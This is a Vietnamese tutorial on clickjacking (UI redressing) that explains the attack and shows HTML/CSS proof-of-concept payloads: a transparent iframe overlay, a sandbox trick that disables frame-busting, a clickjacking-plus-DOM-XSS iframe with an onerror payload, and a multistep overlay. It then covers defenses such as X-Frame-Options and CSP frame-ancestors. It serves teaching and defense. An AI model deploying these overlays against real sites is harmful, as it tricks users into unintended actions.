🔏Clickjacking (UI redressing)

Client Side Vul

Clickjacking là gì

Clickjacking là một tấn công dựa trên giao diện, trong đó người dùng bị lừa nhấp vào liên kết nhìn qua có vẻ rất bình thường, tuy nhiên khi nhấp vào thì hacker có thể lấy được thông tin của người dùng. Đây hình thức tấn công đánh lừa người dùng nhấp chuột một cách vô ý vào một đối tượng trên website

Cách xây dựng một cuộc tấn công basic clickjacking

Các cuộc tấn công Clickjacking sử dụng CSS để tạo và thao tác lớp. Kẻ tấn công hợp nhất trang web mục tiêu như là một lớp iframe chồng lên trang web mồi nhử.

Ví dụ:

<head>
	<style>
		#target_website {
			position:relative;
			width:128px;
			height:128px;
			opacity:0.00001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	...decoy web content here...
	</div>
	<iframe id="target_website" src="https://vulnerable-website.com">
	</iframe>
</body>

iframe của trang web mục tiêu được đặt bên trong trình duyệt để có sự chồng chính xác của hành động mục tiêu với trang web mồi sử dụng thích hợp các giá trị width height. Các giá trị absoluterelative được sử dụng đảm bảo trang web mục tiêu được chồng lên chính xác bất kể size mà hình nào, dạng trình duyệt hay nền tảng nào. Thuộc tính z-index để thiết lập thứ tự xếp chồng nhau của một thành phần vị trí, chỉ số z-index càng cao hơn sẽ nằm trên. Thuộc tính opacity để giảm để mờ xuống, có giá trị từ 0.0->1.0.

Clickjacking với biểu mẫu được điền sẵn

Một số trang web yêu cầu hoàn thành form và gửi biểu mẫu cho phép chuẩn bị trước các đầu vào biểu mẫu bằng cách sử dụng các tham số GET trước khi gửi. Các trang web khác có thể yêu cầu văn bản trước khi gửi biểu mẫu. Khi các giá trị GET tạo thành một phần của URL thì URL mục tiêu có thể được sửa đổi để kết hợp các giá trị do kẻ tấn công lựa chọn và nút "submit" trong suốt được phủ trên trang web mồi nhử như trong ví dụ về clickjacking cơ bản.

Frame busting scripts

Các cuộc tấn công bằng clickjacking có thể xảy ra bất cứ khi nào các trang web có thể được đóng khung. Do đó, các kỹ thuật phòng ngừa dựa trên việc hạn chế khả năng đóng khung cho các trang web. Một biện pháp bảo vệ phía máy khách phổ biến được thực hiện thông qua trình duyệt web là sử dụng cácframe breaking scripts hoặc frame busting. Chúng có thể được triển khai thông qua các tiện ích bổ sung hoặc tiện ích mở rộng JavaScript của trình duyệt độc quyền như NoScript. Các tập lệnh thường được tạo thủ công để chúng thực hiện một số hoặc tất cả các hành vi sau:

  • Kiểm tra và thực thi rằng cửa sổ ứng dụng hiện tại là cửa sổ chính hoặc cửa sổ trên cùng,

  • Hiển thị tất cả các khung hình,

  • Ngăn chặn việc nhấp vào các khung vô hình,

  • Chặn và gắn cờ các cuộc tấn công clickjacking tiềm ẩn cho người dùng.

Các kỹ thuật chặn khung thường dành riêng cho trình duyệt và nền tảng và do tính linh hoạt của HTML nên chúng thường có thể bị kẻ tấn công phá vỡ. Vì những kẻ phá hủy khung là JavaScript nên cài đặt bảo mật của trình duyệt có thể ngăn hoạt động của chúng hoặc thực sự thì trình duyệt thậm chí có thể không hỗ trợ JavaScript. Một giải pháp hiệu quả cho kẻ tấn công chống lại kẻ phá khung là sử dụnsandboxthuộc tính iframe HTML5. Khi điều này được đặt với allow-forms hoặc allow-scripts các giá trị và allow-top-navigation giá trị bị bỏ qua thì frame buster script có thể bị vô hiệu hóa vì iframe không thể kiểm tra xem nó có phải là cửa sổ trên cùng hay không:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

Cả allow-formsallow-scriptsgiá trị đều cho phép các hành động được chỉ định trong iframe nhưng điều hướng cấp cao nhất bị tắt. Điều này ngăn chặn các hành vi chặn khung trong khi vẫn cho phép chức năng trong trang web được nhắm mục tiêu.

Từ đó chúng ta có thể thay đổi email của nạn nhân....

Kết hợp Clickjacking với tấn công DOM XSS

Cho đến nay, chúng ta đã coi clickjacking là một cuộc tấn công khép kín. Trong lịch sử, clickjacking đã được sử dụng để thực hiện các hành vi như tăng lượt "thích" trên một trang Facebook. Tuy nhiên, hiệu quả thực sự của clickjacking được tiết lộ khi nó được sử dụng làm vật mang cho một cuộc tấn công khác, chẳng hạn như cuộc tấn công DOM XSS . Việc thực hiện cuộc tấn công kết hợp này tương đối đơn giản với giả định rằng kẻ tấn công đã xác định được cách khai thác XSS lần đầu tiên. Sau đó, khai thác XSS được kết hợp với iframe target URL để người dùng nhấp vào nút hoặc liên kết và do đó thực hiện cuộc tấn công DOM XSS

<style>
    iframe {
        position: relative;
        width: 500px;
        height: 1000px;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position: absolute;
        top: 800px;
        left: 60px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://sha1vu/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test"></iframe>

Multistep clickjacking

Việc kẻ tấn công thao túng các đầu vào cho một trang web mục tiêu có thể đòi hỏi nhiều hành động.

Ví dụ: Kẻ tấn công có thể muốn lừa người dùng mua thứ gì đó từ một trang web bán lẻ để các mặt hàng cần được thêm vào giỏ hàng trước khi đặt hàng. Những hành động này có thể được thực hiện bởi kẻ tấn công bằng cách sử dụng nhiều bộ phận hoặc iframe. Các cuộc tấn công như vậy đòi hỏi sự chính xác và cẩn thận đáng kể từ quan điểm của kẻ tấn công nếu chúng có hiệu quả.

<style>
	iframe {
		position:relative;
		width:700px;
		height: 700px;
		opacity: 0.1;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:500px;
		left:60px;
		z-index: 1;
	}
   .secondClick {
		top:300px;
		left:220px;
	}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://shanglyu/my-account"></iframe>

Cách ngăn chặn tấn công Clickjacking

Clickjacking là một hành vi từ phía trình duyệt và sự thành công của nó hay cách khác phụ thuộc vào chức năng của trình duyệt và sự phù hợp với các tiêu chuẩn web hiện hành và phương pháp hay nhất. Bảo vệ phía máy chủ chống lại clickjacking được cung cấp bằng cách xác định và giao tiếp các ràng buộc đối với việc sử dụng các thành phần như iframe. Tuy nhiên, việc thực hiện bảo vệ phụ thuộc vào sự tuân thủ của trình duyệt và việc thực thi các ràng buộc này. Hai cơ chế bảo vệ chống tấn công từ phía máy chủ là X-Frame-Options và Content Security Policy .

  • Yêu cầu người dùng xác nhận lại bằng cách hiển thị hộp thoại thông báo thao tác người dùng đã thực hiện yêu cầu và xác nhận.

  • Đặt các đối tượng web vào các vị trí ngẫu nhiên gây khó khăn cho kẻ tấn công vì giao diện không ổn định.

  • Thiết lập các chính sách trên trình duyệt yêu cầu các frame hiển thị với opacity > 0

  • Sử dụng Javascript ngăn cản một trang web khác nhúng nội dung của trang đó vào iframe ( Frame Bursting ):

  • Sử dụng câu lệnh điều kiện kiểm tra trang web có nằm trong iframe hay không

  • Chuyển hướng cửa sổ trình duyệt về trang web bị nhúng và iframe.

X-Frame-Options ban đầu được giới thiệu như một tiêu đề phản hồi không chính thức trong Internet Explorer 8 và nó nhanh chóng được chấp nhận trong các trình duyệt khác. Tiêu đề cung cấp cho chủ sở hữu trang web quyền kiểm soát việc sử dụng iframe hoặc các đối tượng để việc đưa trang web vào khung có thể bị cấm với lệnh deny:

X-Frame-Options: deny

Ngoài ra, việc đóng khung có thể bị hạn chế ở cùng nguồn gốc với trang web bằng cách sử dụng sameorigin lệnh

X-Frame-Options: sameorigin

hoặc đến một trang web được đặt tên bằng cách sử dụng lệnh allow-from:

X-Frame-Options: allow-from https://normal-website.com X-Frame-Options không được triển khai nhất quán trên các trình duyệt ( allow-from ví dụ: lệnh này không được hỗ trợ trong phiên bản Chrome 76 hoặc Safari 12). Tuy nhiên, khi được áp dụng đúng cách cùng với Chính sách bảo mật nội dung như một phần của chiến lược phòng thủ nhiều lớp, nó có thể cung cấp khả năng bảo vệ hiệu quả chống lại các cuộc tấn công Clickjacking.

Content Security Policy

Chính sách bảo mật nội dung (CSP) là một cơ chế phát hiện và ngăn chặn nhằm giảm thiểu các cuộc tấn công như XSS và clickjacking. CSP thường được triển khai trong máy chủ web dưới dạng tiêu đề trả về của biểu mẫu:

Content-Security-Policy: policy

trong đó chính sách là một chuỗi các chỉ thị chính sách được phân tách bằng dấu chấm phẩy. CSP cung cấp cho trình duyệt khách thông tin về các nguồn tài nguyên web được phép mà trình duyệt có thể áp dụng để phát hiện và ngăn chặn các hành vi độc hại.

Biện pháp bảo vệ chống tấn công Clickjacking được khuyến nghị là kết hợp frame-ancestors chỉ thị trong Chính sách bảo mật nội dung của ứng dụng. Chỉ frame-ancestors 'none' thị này có hành vi tương tự như chỉ thị X-Frame-Options deny. Nói chung , frame-ancestors 'self' chỉ thị này tương đương với chỉ thị X-Frame-Options sameorigin. Các khung CSP sau chỉ liệt kê các khung cho cùng một miền:

Content-Security-Policy: frame-ancestors 'self';

Ngoài ra, việc đóng khung có thể bị hạn chế đối với các trang web được đặt tên:

Content-Security-Policy: frame-ancestors normal-website.com;

Để chống lại clickjacking và XSS hiệu quả, CSP cần phát triển, triển khai và thử nghiệm cẩn thận và nên được sử dụng như một phần của chiến lược phòng thủ nhiều lớp.

Tổng kết

Cảm ơn các bạn đã đọc bài! Đây là một file tài liệu hay về Clickjacking của anh Bùi Trọng Tùng

Last updated